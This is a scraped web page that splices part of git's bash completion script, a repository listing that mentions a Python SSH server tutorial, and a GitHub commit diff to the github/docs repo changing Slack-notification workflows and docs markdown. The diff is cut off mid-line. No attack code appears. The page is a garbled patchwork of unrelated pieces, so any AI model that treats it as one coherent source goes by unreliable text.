__gitcomp "$(__git_remotes)" "" "${cur##--repo=}" return ;; --*) __gitcomp " --all --mirror --tags --dry-run --force --verbose --receive-pack= --repo= " return ;; esac __git_complete_remote_or_refspec } _git_rebase () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ] || [ -d "$dir"/rebase-merge ]; then __gitcomp "--continue --skip --abort" return fi __git_complete_strategy && return case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --onto --merge --strategy --interactive --preserve-merges --stat --no-stat --committer-date-is-author-date --ignore-date --ignore-whitespace --whitespace= --autosquash " return esac __gitcomp "$(__git_refs)" } __git_send_email_confirm_options="always never auto cc compose" __git_send_email_suppresscc_options="author self cc bodycc sob cccmd body all" _git_send_email () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --confirm=*) __gitcomp " $__git_send_email_confirm_options " "" "${cur##--confirm=}" return ;; --suppress-cc=*) __gitcomp " $__git_send_email_suppresscc_options " "" "${cur##--suppress-cc=}" return ;; --smtp-encryption=*) __gitcomp "ssl tls" "" "${cur##--smtp-encryption=}" return ;; --*) __gitcomp "--annotate --bcc --cc --cc-cmd --chain-reply-to --compose --confirm= --dry-run --envelope-sender --from --identity --in-reply-to --no-chain-reply-to --no-signed-off-by-cc --no-suppress-from --no-thread --quiet --signed-off-by-cc --smtp-pass --smtp-server --smtp-server-port --smtp-encryption= --smtp-user --subject --suppress-cc= --suppress-from --thread --to --validate --no-validate" return ;; esac COMPREPLY=() } _git_stage () { _git_add } __git_config_get_set_variables () { local prevword word config_file= c=$COMP_CWORD while [ $c -gt 1 ]; do word="${COMP_WORDS[c]}" case "$word" in --global|--system|--file=*) config_file="$word" break ;; -f|--file) config_file="$word $prevword" break ;; esac prevword=$word c=$((--c)) done git --git-dir="$(__gitdir)" config $config_file --list 2>/dev/null | while read line do case "$line" in *.*=*) echo "${line/=*/}" ;; esac done } _git_config () { local cur="${COMP_WORDS[COMP_CWORD]}" local prv="${COMP_WORDS[COMP_CWORD-1]}" case "$prv" in branch.*.remote) __gitcomp "$(__git_remotes)" return ;; branch.*.merge) __gitcomp "$(__git_refs)" return ;; remote.*.fetch) local remote="${prv#remote.}" remote="${remote%.fetch}" __gitcomp "$(__git_refs_remotes "$remote")" return ;; remote.*.push) local remote="${prv#remote.}" remote="${remote%.push}" __gitcomp "$(git --git-dir="$(__gitdir)" \ for-each-ref --format='%(refname):%(refname)' \ refs/heads)" return ;; pull.twohead|pull.octopus) __git_compute_merge_strategies __gitcomp "$__git_merge_strategies" return ;; color.branch|color.diff|color.interactive|\ color.showbranch|color.status|color.ui) __gitcomp "always never auto" return ;; color.pager) __gitcomp "false true" return ;; color.*.*) __gitcomp " normal black red green yellow blue magenta cyan white bold dim ul blink reverse " return ;; help.format) __gitcomp "man info web html" return ;; log.date) __gitcomp "$__git_log_date_formats" return ;; sendemail.aliasesfiletype) __gitcomp "mutt mailrc pine elm gnus" return ;; sendemail.confirm) __gitcomp "$__git_send_email_confirm_options" return ;; sendemail.suppresscc) __gitcomp "$__git_send_email_suppresscc_options" return ;; --get|--get-all|--unset|--unset-all) __gitcomp "$(__git_config_get_set_variables)" return ;; *.*) COMPREPLY=() return ;; esac case "$cur" in --*) __gitcomp " --global --system --file= --list --replace-all --get --get-all --get-regexp --add --unset --unset-all --remove-section --rename-section " return ;; branch.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "remote merge mergeoptions rebase" "$pfx" "$cur" return ;; branch.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_heads)" "$pfx" "$cur" "." return ;; guitool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " argprompt cmd confirm needsfile noconsole norescan prompt revprompt revunmerged title " "$pfx" "$cur" return ;; difftool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; man.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; mergetool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path trustExitCode" "$pfx" "$cur" return ;; pager.*) local pfx="${cur%.*}." cur="${cur#*.}" __git_compute_all_commands __gitcomp "$__git_all_commands" "$pfx" "$cur" return ;; remote.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " url proxy fetch push mirror skipDefaultUpdate receivepack uploadpack tagopt pushurl " "$pfx" "$cur" return ;; remote.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_remotes)" "$pfx" "$cur" "." return ;; url.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "insteadOf pushInsteadOf" "$pfx" "$cur" return ;; esac __gitcomp " add.ignore-errors alias. apply.ignorewhitespace apply.whitespace branch.autosetupmerge branch.autosetuprebase clean.requireForce color.branch color.branch.current color.branch.local color.branch.plain color.branch.remote color.diff color.diff.commit color.diff.frag color.diff.meta color.diff.new color.diff.old color.diff.plain color.diff.whitespace color.grep color.grep.external color.grep.match color.interactive color.interactive.header color.interactive.help color.interactive.prompt color.pager color.showbranch color.status color.status.added color.status.changed color.status.header color.status.nobranch color.status.untracked color.status.updated color.ui commit.template core.autocrlf core.bare core.compression core.createObject core.deltaBaseCacheLimit core.editor core.excludesfile core.fileMode core.fsyncobjectfiles core.gitProxy core.ignoreCygwinFSTricks core.ignoreStat core.logAllRefUpdates core.loosecompression core.packedGitLimit core.packedGitWindowSize core.pager core.preferSymlinkRefs core.preloadindex core.quotepath core.repositoryFormatVersion core.safecrlf core.sharedRepository core.symlinks core.trustctime core.warnAmbiguousRefs core.whitespace core.worktree diff.autorefreshindex diff.external diff.mnemonicprefix diff.renameLimit diff.renameLimit. diff.renames diff.suppressBlankEmpty diff.tool diff.wordRegex difftool. difftool.prompt fetch.unpackLimit format.attach format.cc format.headers format.numbered format.pretty format.signature format.signoff format.subjectprefix format.suffix format.thread gc.aggressiveWindow gc.auto gc.autopacklimit gc.packrefs gc.pruneexpire gc.reflogexpire gc.reflogexpireunreachable gc.rerereresolved gc.rerereunresolved gitcvs.allbinary gitcvs.commitmsgannotation gitcvs.dbTableNamePrefix gitcvs.dbdriver gitcvs.dbname gitcvs.dbpass gitcvs.dbuser gitcvs.enabled gitcvs.logfile gitcvs.usecrlfattr guitool. gui.blamehistoryctx gui.commitmsgwidth gui.copyblamethreshold gui.diffcontext gui.encoding gui.fastcopyblame gui.matchtrackingbranch gui.newbranchtemplate gui.pruneduringfetch gui.spellingdictionary gui.trustmtime help.autocorrect help.browser help.format http.lowSpeedLimit http.lowSpeedTime http.maxRequests http.noEPSV http.proxy http.sslCAInfo http.sslCAPath http.sslCert http.sslKey http.sslVerify i18n.commitEncoding i18n.logOutputEncoding imap.folder imap.host imap.pass imap.port imap.preformattedHTML imap.sslverify imap.tunnel imap.user instaweb.browser instaweb.httpd instaweb.local instaweb.modulepath instaweb.port interactive.singlekey log.date log.showroot mailmap.file man. man.viewer merge.conflictstyle merge.log merge.renameLimit merge.stat merge.tool merge.verbosity mergetool. mergetool.keepBackup mergetool.prompt pack.compression pack.deltaCacheLimit pack.deltaCacheSize pack.depth pack.indexVersion pack.packSizeLimit pack.threads pack.window pack.windowMemory pager. pull.octopus pull.twohead push.default rebase.stat receive.denyCurrentBranch receive.denyDeletes receive.denyNonFastForwards receive.fsckObjects receive.unpackLimit repack.usedeltabaseoffset rerere.autoupdate rerere.enabled sendemail.aliasesfile sendemail.aliasesfiletype sendemail.bcc sendemail.cc sendemail.cccmd sendemail.chainreplyto sendemail.confirm sendemail.envelopesender sendemail.multiedit sendemail.signedoffbycc sendemail.smtpencryption sendemail.smtppass sendemail.smtpserver sendemail.smtpserverport sendemail.smtpuser sendemail.suppresscc sendemail.suppressfrom sendemail.thread sendemail.to sendemail.validate showbranch.default status.relativePaths status.showUntrackedFiles tar.umask transfer.unpackLimit url. user.email user.name user.signingkey web.browser branch. remote. " } _git_remote () { local subcommands="add rename rm show prune update set-head" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in rename|rm|show|prune) __gitcomp "$(__git_remotes)" ;; update) local i c='' IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "remotes\..*" 2>/dev/null); do i="${i#remotes.}" c="$c ${i/ */}" done __gitcomp "$c" ;; *) COMPREPLY=() ;; esac } _git_replace () { __gitcomp "$(__git_refs)" } _git_reset () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--merge --mixed --hard --soft --patch" return ;; esac __gitcomp "$(__git_refs)" } _git_revert () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --mainline --no-edit --no-commit --signoff" return ;; esac __gitcomp "$(__git_refs)" } _git_rm () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --dry-run --ignore-unmatch --quiet" return ;; esac COMPREPLY=() } _git_shortlog () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options --numbered --summary " return ;; esac __git_complete_revlist } _git_show () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --*) __gitcomp "--pretty= --format= --abbrev-commit --oneline $__git_diff_common_options " return ;; esac __git_complete_file } _git_show_branch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --remotes --topo-order --current --more= --list --independent --merge-base --no-name --color --no-color --sha1-name --sparse --topics --reflog " return ;; esac __git_complete_revlist } _git_stash () { local cur="${COMP_WORDS[COMP_CWORD]}" local save_opts='--keep-index --no-keep-index --quiet --patch' local subcommands='save list show apply clear drop pop create branch' local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then case "$cur" in --*) __gitcomp "$save_opts" ;; *) if [ -z "$(__git_find_on_cmdline "$save_opts")" ]; then __gitcomp "$subcommands" else COMPREPLY=() fi ;; esac else case "$subcommand,$cur" in save,--*) __gitcomp "$save_opts" ;; apply,--*|pop,--*) __gitcomp "--index --quiet" ;; show,--*|drop,--*|branch,--*) COMPREPLY=() ;; show,*|apply,*|drop,*|pop,*|branch,*) __gitcomp "$(git --git-dir="$(__gitdir)" stash list \ | sed -n -e 's/:.*//p')" ;; *) COMPREPLY=() ;; esac fi } _git_submodule () { __git_has_doubledash && return local subcommands="add status init update summary foreach sync" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--quiet --cached" ;; *) __gitcomp "$subcommands" ;; esac return fi } _git_svn () { local subcommands=" init fetch clone rebase dcommit log find-rev set-tree commit-diff info create-ignore propget proplist show-ignore show-externals branch tag blame migrate mkdirs reset gc " local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" else local remote_opts="--username= --config-dir= --no-auth-cache" local fc_opts=" --follow-parent --authors-file= --repack= --no-metadata --use-svm-props --use-svnsync-props --log-window-size= --no-checkout --quiet --repack-flags --use-log-author --localtime --ignore-paths= $remote_opts " local init_opts=" --template= --shared= --trunk= --tags= --branches= --stdlayout --minimize-url --no-metadata --use-svm-props --use-svnsync-props --rewrite-root= --prefix= --use-log-author --add-author-from $remote_opts " local cmt_opts=" --edit --rmdir --find-copies-harder --copy-similarity= " local cur="${COMP_WORDS[COMP_CWORD]}" case "$subcommand,$cur" in fetch,--*) __gitcomp "--revision= --fetch-all $fc_opts" ;; clone,--*) __gitcomp "--revision= $fc_opts $init_opts" ;; init,--*) __gitcomp "$init_opts" ;; dcommit,--*) __gitcomp " --merge --strategy= --verbose --dry-run --fetch-all --no-rebase --commit-url --revision $cmt_opts $fc_opts " ;; set-tree,--*) __gitcomp "--stdin $cmt_opts $fc_opts" ;; create-ignore,--*|propget,--*|proplist,--*|show-ignore,--*|\ show-externals,--*|mkdirs,--*) __gitcomp "--revision=" ;; log,--*) __gitcomp " --limit= --revision= --verbose --incremental --oneline --show-commit --non-recursive --authors-file= --color " ;; rebase,--*) __gitcomp " --merge --verbose --strategy= --local --fetch-all --dry-run $fc_opts " ;; commit-diff,--*) __gitcomp "--message= --file= --revision= $cmt_opts" ;; info,--*) __gitcomp "--url" ;; branch,--*) __gitcomp "--dry-run --message --tag" ;; tag,--*) __gitcomp "--dry-run --message" ;; blame,--*) __gitcomp "--git-format" ;; migrate,--*) __gitcomp " --config-dir= --ignore-paths= --minimize --no-auth-cache --username= " ;; reset,--*) __gitcomp "--revision= --parent" ;; *) COMPREPLY=() ;; esac fi } _git_tag () { local i c=1 f=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-v) __gitcomp "$(__git_tags)" return ;; -f) f=1 ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; -*|tag) if [ $f = 1 ]; then __gitcomp "$(__git_tags)" else COMPREPLY=() fi ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_whatchanged () { _git_log } _git () { local i c=1 command __git_dir while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --git-dir=*) __git_dir="${i#--git-dir=}" ;; --bare) __git_dir="." ;; --version|-p|--paginate) ;; --help) command="help"; break ;; *) command="$i"; break ;; esac c=$((++c)) done if [ -z "$command" ]; then case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --paginate --no-pager --git-dir= --bare --version --exec-path --html-path --work-tree= --help " ;; *) __git_compute_porcelain_commands __gitcomp "$__git_porcelain_commands $(__git_aliases)" ;; esac return fi local completion_func="_git_${command//-/_}" declare -F $completion_func >/dev/null && $completion_func && return local expansion=$(__git_aliased_command "$command") if [ -n "$expansion" ]; then completion_func="_git_${expansion//-/_}" declare -F $completion_func >/dev/null && $completion_func fi } _gitk () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(__gitdir)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_gitk_options $merge " return ;; esac __git_complete_revlist } complete -o bashdefault -o default -o nospace -F _git git 2>/dev/null \ || complete -o default -o nospace -F _git git complete -o bashdefault -o default -o nospace -F _gitk gitk 2>/dev/null \ || complete -o default -o nospace -F _gitk gitk # The following are necessary only for Cygwin, and only are needed # when the user has tab-completed the executable name and consequently # included the '.exe' suffix. # if [ Cygwin = "$(uname -o 2>/dev/null)" ]; then complete -o bashdefault -o default -o nospace -F _git git.exe 2>/dev/null \ || complete -o default -o nospace -F _git git.exe fi

    From user questionmark1122

  • ramonmeza / pythonsshservertutorial

    ssh-tutorial, A tutorial on creating an SSH server using Python 3, as well as the Paramiko library. It also will cover how to Dockerize this app.

    From user ramonmeza

  • sfedfcv / redesigned-pancake

    ssh-tutorial, Skip to content github / docs Code Issues 80 Pull requests 35 Discussions Actions Projects 2 Security Insights Merge branch 'main' into 1862-Add-Travis-CI-migration-table 1862-Add-Travis-CI-migration-table (#1869, Iixixi/ZachryTylerWood#102, THEBOLCK79/docs#1, sbnbhk/docs#1) @martin389 martin389 committed on Dec 9, 2020 2 parents 2f9ec0c + 1588f50 commit 1a56ed136914e522f3a23ecc2be1c49f479a1a6a Showing 501 changed files with 5,397 additions and 1,362 deletions. 2 .github/allowed-actions.js @@ -30,7 +30,7 @@ module.exports = [ 'rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e', 'repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88', 'repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d', 'rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815', 'someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd', 'tjenkinson/gh-action-auto-merge-dependency-updates@cee2ac0', 'EndBug/add-and-commit@9358097a71ad9fb9e2f9624c6098c89193d83575' ] 72 .github/workflows/confirm-internal-staff-work-in-docs.yml @@ -0,0 +1,72 @@ name: Confirm internal staff meant to post in public on: issues: types: - opened - reopened - transferred pull_request_target: types: - opened - reopened jobs: check-team-membership: runs-on: ubuntu-latest continue-on-error: true if: github.repository == 'github/docs' steps: - uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | // Only perform this action with GitHub employees try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'employees', username: context.payload.sender.login, }); } catch(err) { // An error will be thrown if the user is not a GitHub employee // If a user is not a GitHub employee, we should stop here and // Not send a notification return } // Don't perform this action with Docs team members try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'docs', username: context.payload.sender.login, }); // If the user is a Docs team member, we should stop here and not send // a notification return } catch(err) { // An error will be thrown if the user is not a Docs team member // If a user is not a Docs team member we should continue and send // the notification } const issueNo = context.number || context.issue.number // Create an issue in our private repo await github.issues.create({ owner: 'github', repo: 'docs-internal', title: `@${context.payload.sender.login} confirm that \#${issueNo} should be in the public github/docs repo`, body: `@${context.payload.sender.login} opened https://github.com/github/docs/issues/${issueNo} publicly in the github/docs repo, instead of the private github/docs-internal repo.\n\n@${context.payload.sender.login}, please confirm that this belongs in the public repo and that no sensitive information was disclosed by commenting below and closing the issue.\n\nIf this was not intentional and sensitive information was shared, please delete https://github.com/github/docs/issues/${issueNo} and notify us in the \#docs-open-source channel.\n\nThanks! \n\n/cc @github/docs @github/docs-engineering` }); throw new Error('A Hubber opened an issue on the public github/docs repo'); - name: Send Slack notification if a GitHub employee who isn't on the docs team opens an issue in public if: ${{ failure() && github.repository == 'github/docs' }} uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd with: channel: ${{ secrets.DOCS_OPEN_SOURCE_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} text: <@${{github.actor}}> opened https://github.com/github/docs/issues/${{ github.event.number || github.event.issue.number }} publicly on the github/docs repo instead of the private github/docs-internal repo. They have been notified via a new issue in the github/docs-internal repo to confirm this was intentional. 15 .github/workflows/js-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.js", "package*.json", ".github/workflows/js-lint.yml", ".eslint*"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 13 .github/workflows/repo-freeze-reminders.yml @@ -14,11 +14,10 @@ jobs: if: github.repository == 'github/docs-internal' steps: - name: Send Slack notification if repo is frozen uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: ${{ env.FREEZE == 'true' }} uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':freezing_face:' SLACK_COLOR: '#51A0D5' # Carolina Blue SLACK_MESSAGE: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: info text: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! 54 .github/workflows/repo-sync-stalls.yml @@ -0,0 +1,54 @@ name: Repo Sync Stalls on: workflow_dispatch: schedule: - cron: '*/30 * * * *' jobs: check-freezer: name: Check for deployment freezes runs-on: ubuntu-latest steps: - name: Exit if repo is frozen if: ${{ env.FREEZE == 'true' }} run: | echo 'The repo is currently frozen! Exiting this workflow.' exit 1 # prevents further steps from running repo-sync-stalls: runs-on: ubuntu-latest steps: - name: Check if repo sync is stalled uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | let pulls; const owner = context.repo.owner const repo = context.repo.repo try { pulls = await github.pulls.list({ owner: owner, repo: repo, head: `${owner}:repo-sync`, state: 'open' }); } catch(err) { throw err return } pulls.data.forEach(pr => { const timeDelta = Date.now() - Date.parse(pr.created_at); const minutesOpen = timeDelta / 1000 / 60; if (minutesOpen > 30) { core.setFailed('Repo sync appears to be stalled') } }) - name: Send Slack notification if workflow fails uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: Repo sync appears to be stalled for ${{github.repository}}. See https://github.com/${{github.repository}}/pulls?q=is%3Apr+is%3Aopen+repo+sync 16 .github/workflows/repo-sync.yml @@ -7,6 +7,7 @@ name: Repo Sync on: workflow_dispatch: schedule: - cron: '*/15 * * * *' # every 15 minutes @@ -70,11 +71,10 @@ jobs: number: ${{ steps.find-pull-request.outputs.number }} - name: Send Slack notification if workflow fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 if: ${{ failure() }} env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':ohno:' SLACK_COLOR: '#B90E0A' # Crimson SLACK_MESSAGE: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 10 .github/workflows/sync-algolia-search-indices.yml @@ -33,8 +33,10 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: npm run sync-search - name: Send slack notification if workflow run fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_MESSAGE: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` 15 .github/workflows/yml-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.yml", "**/*.yaml", "package*.json", ".github/workflows/yml-lint.yml"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 4 README.md @@ -28,7 +28,7 @@ If you've found a problem, you can open an issue using a [template](https://gith #### Solve an issue If you have a solution to one of the open issues, you will need to fork the repository and submit a PR using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). If you have a solution to one of the open issues, you will need to fork the repository and submit a pull request using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). #### Join us in discussions @@ -50,6 +50,8 @@ There are a few more things to know when you're getting started with this repo: In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail: - [content/README.md](content/README.md) - [content/graphql/README.md](content/graphql/README.md) - [content/rest/README.md](content/rest/README.md) - [contributing/README.md](contributing/README.md) - [data/README.md](data/README.md) - [data/reusables/README.md](data/reusables/README.md) BIN +164 KB assets/images/help/classroom/assignment-group-hero.png Binary file not shown. BIN +75.5 KB assets/images/help/classroom/assignment-ide-go-grant-access-button.png Binary file not shown. BIN +175 KB assets/images/help/classroom/assignment-individual-hero.png Binary file not shown. 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You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run-updated.png) {% else %} ![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run.png) {% endif %} 6 content/actions/creating-actions/creating-a-javascript-action.md @@ -261,9 +261,11 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png) {% elsif currentVersion ver_gt "[email protected]" %} ![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated.png) {% else %} ![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run.png) 4 content/actions/guides/about-packaging-with-github-actions.md @@ -25,7 +25,11 @@ Creating a package at the end of a continuous integration workflow can help duri Now, when reviewing a pull request, you'll be able to look at the workflow run and download the artifact that was produced. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down-updated.png) {% else %} ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down.png) {% endif %} This will let you run the code in the pull request on your machine, which can help with debugging or testing the pull request. 4 content/actions/guides/building-and-testing-powershell.md @@ -60,7 +60,11 @@ jobs: * `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. * `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Failed Pester test](/assets/images/help/repository/actions-failed-pester-test-updated.png) {% else %} ![Failed Pester test](/assets/images/help/repository/actions-failed-pester-test.png) {% endif %} * `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following: ``` 7 content/actions/guides/storing-workflow-data-as-artifacts.md @@ -108,8 +108,6 @@ jobs: path: output/test/code-coverage.html ``` ![Image of workflow upload artifact workflow run](/assets/images/help/repository/upload-build-test-artifact.png) {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ### Configuring a custom artifact retention period @@ -238,7 +236,12 @@ jobs: echo The result is $value ``` The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) {% else %} ![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow.png) {% endif %} {% if currentVersion == "free-pro-team@latest" %} 8 content/actions/index.md @@ -68,18 +68,18 @@ versions: <h2 class="mb-2 font-mktg h1">Code examples</h2> <div class="pr-lg-3 mb-5 mt-3"> <input class="js-code-example-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> <input class="js-filter-card-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code 